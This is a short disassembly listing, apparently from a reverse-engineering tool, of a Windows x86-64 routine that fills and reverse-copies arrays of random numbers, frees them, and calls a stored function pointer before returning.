mov ecx, 0xc94
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a0], rax
mov dword [rbp + 0x7f8], 0x324
mov dword [rbp + 0x7fc], 0
jmp 0x140002a59
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7fc]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6a8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x7f8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a8]
add rax, rdx
mov edx, dword [rbp + 0x7fc]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6a0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x7f8], 1
add dword [rbp + 0x7fc], 1
cmp dword [rbp + 0x7fc], 0x324
jle 0x1400029cc
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6a0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6b0]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x870]
add rsp, 0x908
pop rbx
pop rsi
pop rdi
pop rbp
ret